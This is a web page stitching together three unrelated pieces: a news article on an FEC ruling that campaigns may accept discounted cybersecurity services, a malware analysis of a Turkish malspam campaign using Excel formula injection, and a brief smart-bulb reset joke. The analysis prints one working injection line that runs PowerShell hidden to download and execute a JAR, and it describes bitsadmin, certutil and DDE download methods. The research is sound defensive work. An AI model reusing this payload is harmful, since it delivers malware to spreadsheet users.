FEC: Campaigns Can Use Discounted Cybersecurity Services

Jul 19

FEC: Campaigns Can Use Discounted Cybersecurity Services

The U.S. Federal Election Commission (FEC) said today political campaigns can accept discounted cybersecurity services from companies without running afoul of existing campaign finance laws, provided those companies already do the same for other non-political entities. The decision comes amid much jostling on Capitol Hill over election security at the state level, and fresh warnings from U.S. intelligence agencies about impending cyber attacks targeting candidates in the lead up to the 2020 election.

Current campaign finance law prohibits corporate contributions to campaigns, and election experts have worried this could give some candidates pause about whether they can legally accept low- to no-cost services from cybersecurity companies.

But at an FEC meeting today, the commission issued an advisory opinion (PDF) that such assistance does not constitute an in-kind contribution, as long as the cybersecurity firm already offers discounted solutions to similarly situated non-political organizations, such as small nonprofits.

The FEC’s ruling comes in response to a petition by California-based Area 1 Security, whose core offering focuses on helping clients detect and block phishing attacks. The company said it asked the FEC’s opinion on the matter after several campaigns that had reached out about teaming up expressed hesitation given the commission’s existing rules.

In June, Area 1 petitioned the FEC for clarification on the matter, saying it currently offers free and low-cost services to certain clients which are capped at $1,337. The FEC responded with a draft opinion indicating such offering likely would amount to an in-kind contribution that might curry favor among politicians, and urged the company to resubmit its request focusing on the capped-price offering.

Area 1 did so, and at today’s hearing the FEC said “because Area 1 is proposing to charge qualified federal candidates and political committees the same as it charges its qualified non-political clients, the Commission concludes that its proposal is consistent with Area 1’s ordinary business practices and therefore would not result in Area 1 making prohibited in-kind contributions to such federal candidates and political committees.”


The decision is the latest in a string of somewhat narrowly tailored advisories from the FEC related to cybersecurity offerings aimed at federal candidates and political committees. Most recently, the commission ruled that the nonprofit organization Defending Digital Campaigns could provide free cybersecurity services to candidates, but according to The New York Times that decision only applied to nonpartisan, nonprofit groups that offer the same services to all campaigns.

Last year, the FEC granted a similar exemption to Microsoft Corp., ruling that the software giant could offer “enhanced online account security services to its election-sensitive customers at no additional cost” because Microsoft would be shoring up defenses for its existing customers and not seeking to win favor among political candidates.

Dan Petalas is a former general counsel at the FEC who represents Area 1 as an attorney at the law firm Garvey Schubert Barer. Petalas praised today’s ruling, but said action by Congress is probably necessary to clarify the matter once and for all.

“Congress could take the uncertainty away by amending the law to say security services provided to campaigns to do not constitute an in-kind contribution,” Petalas said. “These candidates are super vulnerable and not well prepared to address cybersecurity threats, and I think that would be a smart thing for Congress to do given the situation we’re in now.”


The FEC’s decision comes as federal authorities are issuing increasingly dire warnings that the Russian phishing attacks, voter database probing, and disinformation campaigns that marked the election cycles in 2016 and 2018 were merely a dry run for what campaigns could expect to face in 2020.

In April, FBI Director Christopher Wray warned that Russian election meddling posed an ongoing “significant counterintelligence threat,” and that the shenanigans from 2016 — including the hacking of the Democratic National Committee and the phishing of Hillary Clinton’s campaign chairman and the subsequent mass leak of internal emails — were just “a dress rehearsal for the big show in 2020.”

Adav Noti, a former FEC general counsel who is now senior director of the nonprofit, nonpartisan Campaign Legal Center, said the commission is “incredibly unsuited to the danger that the system is facing,” and that Congress should be taking a more active roll.

“The FEC is an agency that can’t even do the most basic things properly and timely, and to ask them to solve this problem quickly before the next election in an area where they don’t really have any expertise is a recipe for disaster,” Noti said. “Which is why we see these weird advisory opinions from them with no real legal basis or rationale. They’re sort of making it up as they go along.”

In May, Sen. Ron Wyden (D-Ore.) introduced the Federal Campaign Cybersecurity Assistance Act, which would allow national party committees to provide cybersecurity assistance to state parties, individuals running for office and their campaigns.

Sen. Wyden also has joined at least a dozen other senators — including many who are currently running as Democratic candidates in the 2020 presidential race — in introducing the “Protecting American Votes and Elections (PAVE) Act,” which would mandate the use of paper ballots in U.S. elections and ban all internet, Wi-Fi and mobile connections to voting machines in order to limit the potential for cyber interference.

As Politico reports, Wyden’s bill also would give the Department of Homeland Security the power to set minimum cybersecurity standards for U.S. voting machines, authorize a one-time $500 million grant program for states to buy ballot-scanning machines to count paper ballots, and require states to conduct risk-limiting audits of all federal elections in order to detect any cyber hacks.


Earlier this week, FBI Director Wray and Director of National Intelligence Dan Coats briefed lawmakers in the House and Senate on threats to the 2020 election in classified hearings. But so far, action on any legislative measures to change the status quo has been limited.

Democrats blame Senate Majority Leader Mitch McConnell for blocking any action on the bipartisan bills to address election security. Prior to meeting with intelligence officials, McConnell took to the Senate floor Wednesday to allege Democrats had “already made up their minds before we hear from the experts today that a brand-new, sweeping Washington, D.C. intervention is just what the doctor ordered.”

“Make no mistake,” McConnell said. “Many of the proposals labeled by Democrats to be ‘election security’ measures are indeed election reform measures that are part of the left’s wish list I’ve called the Democrat Politician Protection Act.”

But as Politico reporter Eric Geller tweeted yesterday, if lawmakers are opposed to requiring states to follow the almost universally agreed-upon best practices for election security, they should just say so.

“Experts have been urging Congress to adopt tougher standards for years,” Geller said. “Suggesting that the jury is still out on what those best practices are is factually inaccurate.”

Noti said he had hoped election security would emerge as a rare bipartisan issue in this Congress. After all, no candidate wants to have their campaign hacked or elections tampered with by foreign powers — which could well call into question the results of a race for both sides.

These days he’s not so sanguine.

“This is a matter of national security, which is one of the core functions of the federal government,” Noti said. “Members of Congress are aware of this issue and there is a desire to do something about it. But right now the prospect of Congress doing something — even if most lawmakers would agree with it — is small.”

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‘Oto Gonderici’ Excel formula injections target Turkish victims

SophosLabs has been tracking the activities of a threat actor implicated in a large number of malicious spam attacks targeting large organizations based in Turkey since last fall. The attacks and their malicious components don’t seem to be well-detected by endpoint security tools.

One reason why the attacker has remained mostly successful at remaining under the radar may be that he used an uncommon method for delivering the payload: Excel formula injection. The process is described here in a blog post dating to about a year ago. That disclosure may have inspired this threat actor. Within a few months, by September, 2018, we started to see the first malware campaigns that employed this method.

Some of the early activities were documented in a blog posted by the SANS Internet Storm Center, but the attacker behind these campaigns seemingly hasn’t been affected. The attacks continue to this day.

The threat actor predominantly targets victims based in Turkey using malspam email messages written in the Turkish language. The spam author’s grasp of Turkish grammar, among other indicators, lends credibility to the hypothesis that both the origin and targets of this campaign are in Turkey.

But the attack method may not remain within the borders of the Türkiye Cumhuriyeti indefinitely. Successful ideas eventually infiltrate the entire crimeware ecosystem, and while this may not be the most effective tool for criminals, they can still use it like any other tool in the toolbox.

Initially the threat actor infected the victims with the Adwind remote access trojan, but the latest campaigns are delivering a FareIt trojan payload, but in this writeup, we’ll examine the infection method used by this attacker, not the payload delivered by the attack.

Infection process

The attacks are performed using email messages that contain the malicious content as attachments. Throughout the life cycle of the attacks we have seen multiple methods, the most common of them was Excel formula injection.

Phishing messages

The messages are strikingly similar, have the same structure, but the precise text of the message body changes from campaign to campaign, illustrated by the following examples:

Older-style message example 1 Older-style message example 2 Older-style message example 3

Here’s a rough translation of a malspam body text:




Each of the observed messages follow the same structure, only the number of items varies, and the expressions are replaced with similar alternatives.

Later analysis revealed that the emails were generated by a builder that randomly selected from predefined sentence components, which explains the similarities.

The latest email messages from April-May 2019 are a bit more cryptic that the earlier ones, probably due to the threat actor’s attempt to make it look less mechanical.

An example of the newer style messages with more detail and greater randomization in the body text

Rough translation of the message text:

7 pieces of material., Filename is the name,

I'm waiting for your answer .,
I hope everything is clear .,

It is interesting to see how the threat actor doesn’t even try to make the phishing messages sophisticated; They fall more to the simplistic side of these kinds of messages.

The malspam carries a malicious attachment that downloads the final stage of the attack. Throughout the lifetime of the attacks, we observed a couple of different methods for performing the download.

Method 1: Excel formula injection with PowerShell downloader

The malicious files are delivered attached to email messages like this one:

Malspam with attachment

The email contains an comma-separated-values (CSV) file attachment, a text-based workbook format natively supported by Excel. At first look, these files contain only a lot of junk text strings.

However, scrolling down to the middle of the worksheet, the really important content reveals itself:

As it turns out, when Excel opens these files, it interprets the junk data as cell content — until it reaches the highlighted line. The leading multiple hyphens tricks Excel into considering this line to be a spreadsheet formula. In this case, the “formula” literally invokes the command shell and executes a PowerShell code snippet that downloads the payload.

It is not only the hyphen/minus sign that forces the line to be evaluated as an Excel formula. We observed a variety of versions that used a combination of the plus, minus, and equals math operators, any of which will result in Excel treating the content that follows those symbols as a formula, anywhere within the file.

The method is crudely effective but it isn’t foolproof. When a target opens such a file, Excel displays not one, but two warning dialogs. The first one asks if the user wants Excel to update a “link” (i.e. the formula) automatically.

If the user clicks the Enable button, Excel presents yet another dialog box warning the user that the document is about to execute a command using the command shell, cmd.exe

If the user clicks Yes on this dialog, Excel executes the command, which in the example shown above triggers PowerShell to download and execute the malicious payload.

The downloader scripts only specify the server name, not the full URL. Consequently, the download servers return a default file, which in most cases we’ve observed is named Favori.ico. But this file is a Java JAR package, and not the icon file its suffix suggests it should be.

Method 2: Word document with embedded Excel PowerShell downloader

This other distribution method involves the use of a Word document attached to the malspam that contains an embedded Excel XLS spreadsheet file.

The embedded object uses the same formula injection technique as described in the previous section.

Method 3: Word document with embedded Excel bitsadmin downloader

We found a malicious Word document in the course of investigating these attacks that implements a similar method to the previous example. One difference is that the malicious Word document contains an embedded CSV file with an XLS extension.

Another difference was that it did not used a PowerShell downloader script. Instead, the command spawned the Windows bitsadmin tool to download the payload.

Method 4: Word document with DDE command

We have found a single file related to one of the download servers that used a more traditional method: DDE command.

The document body contains an embedded command field that executes a command shell, and uses the certutil tool to download the payload. Field codes are usually hidden, but if you change the right setting you can see these codes in the body of the document.

If the user clicks the Yes button, Word displays another warning message about spawning the command shell.

If the victim clicks the Yes button, the command shell downloads and executes the payload, a malicious JAR archive.

You left your builder lying around

While researching the materials for this writeup, we found additional Windows programs hosted on a couple of the servers used to host the payload malware. These files were not downloaded by the Excel files, but they must have been placed on the servers by the threat actor. We see no reason for storing them on the servers.

The executables in question turned out to be “builder” programs that generate both the malicious attachment files and the randomized malspam message. These tools also have SMTP mailer functionality to send out the malspam with the attachment.

The builder, shown below, embeds a hardcoded download server name into the document, and randomizes the rest of the elements. The title bar title “MailCi” (“Mail Us,” in Turkish) is indicative of its purpose.

We also saw the following IP address URLs in the files:

It is used in the mailer functions embedded in the builder

Many of the domains used in the campaigns resolved to this IP address. Apparently, the threat actor used the server for sending out the phishing messages.

This part of the builder code generated the formula injection code:

All of them contain this Visual Basic project path:


The phrase “OTO GONDERICI” translates from Turkish cleanly as “auto sender,” which also pretty well summarizes the functionality of this tool.

With more digging, we uncovered an older version of the builder, compiled in October, 2018, tastefully self-identified as SEXPLOIT:

This version contains a Visual Basic Project path of D:HACKTOLSOURCM_PROJELERIMSPAM_BUILDERSEXPLOIT.vbp — its build path shows the same directory structure as the other version!

This version of the builder used the IP address in the mailer parts. This IP address was reported in the SANS ISC blog, because many of the early download domains resolved to this IP address.

It also contains a list of sentence fragments that it uses as its social engineering element in the body of the malspam messages:

It uses a similar paradigm for formula injection to what we’ve seen before…

…but a different download method. Instead of the Excel formulas, the Word attachment uses a bitsadmin download method:


The targets of the infection attempts are mostly (but not exclusively) Turkish enterprises. The threat actor is not selective, the targets cover all industrial sectors from industrial electronics through sanitary product to investment banks.

All of the observed messages contained Turkish text, even those that were targeting companies from other countries.

The infection campaigns were anything but well prepared and targeted. The messages are randomly generated by the builder and are not custom tailored for the target. In many cases the threat actor simply addressed the [email protected] address of the target organization.

Server infrastructure

The latest servers host a simple file upload server-side script to manage content and store the potential payloads.

During the course of these campaigns, we observed the threat actors using as many as 90 download servers to deliver payloads. The server names were usually registered with Freenom or Namecheap, but the domains resolved to only a handful of IP addresses, hosted at OVH SAS in France.

The most common IP addresses used to host the malicious domains were:

There were a couple of files, where the download server was localhost or localhost.com.

---++--++++----+--++cmd|'/c powershell -executionpolicy bypass -W Hidden -command "& { (new-object System.Net.WebClient).DownloadFile("http://localhost" ," %temp%\E0h2Mk.jar") }" & %temp%\E0h2Mk.jar'!'T33'22

We think that these may have been test files not intended for infection campaigns. Most likely, the threat actor used them to check the detection capabilities of antivirus scanners. These files were submitted to Virustotal in December, 2018 from Turkey, which is an additional argument supporting that the threat actor is (or was) resident in that country.


Not all malware attacks are sophisticated and carried out with a highly skilled professional. In many cases very rough methods are being used by less talented but dedicated criminals.

This holds true for this series of ongoing attacks that target enterprises in Turkey. The threat actor shows no sign of giving up; new samples pop up every day. He even developed the tools to automate the building and mailing of the malicious files.

It is surprising that, despite the simplistic malspam messages, and the series of Microsoft Office warning dialogs that accompany the infection process, that this threat actor is still in business. It would be trivial to avoid falling for this trick by heeding the warning messages in the dialog boxes, but perhaps the language barrier, and the complexity of the messages the warning dialogs attempt to convey, obfuscate the warnings’ severity.


All indicators of compromise for this campaign have been posted to the SophosLabs Github.

Resetting Your GE Smart Light Bulb

If you need to reset the software in your GE smart light bulb — firmware version 2.8 or later — just follow these easy instructions:

Start with your bulb off for at least 5 seconds.

  1. Turn on for 8 seconds
  2. Turn off for 2 seconds
  3. Turn on for 8 seconds
  4. Turn off for 2 seconds
  5. Turn on for 8 seconds
  6. Turn off for 2 seconds
  7. Turn on for 8 seconds
  8. Turn off for 2 seconds
  9. Turn on for 8 seconds
  10. Turn off for 2 seconds
  11. Turn on

Bulb will flash on and off 3 times if it has been successfully reset.

Welcome to the future!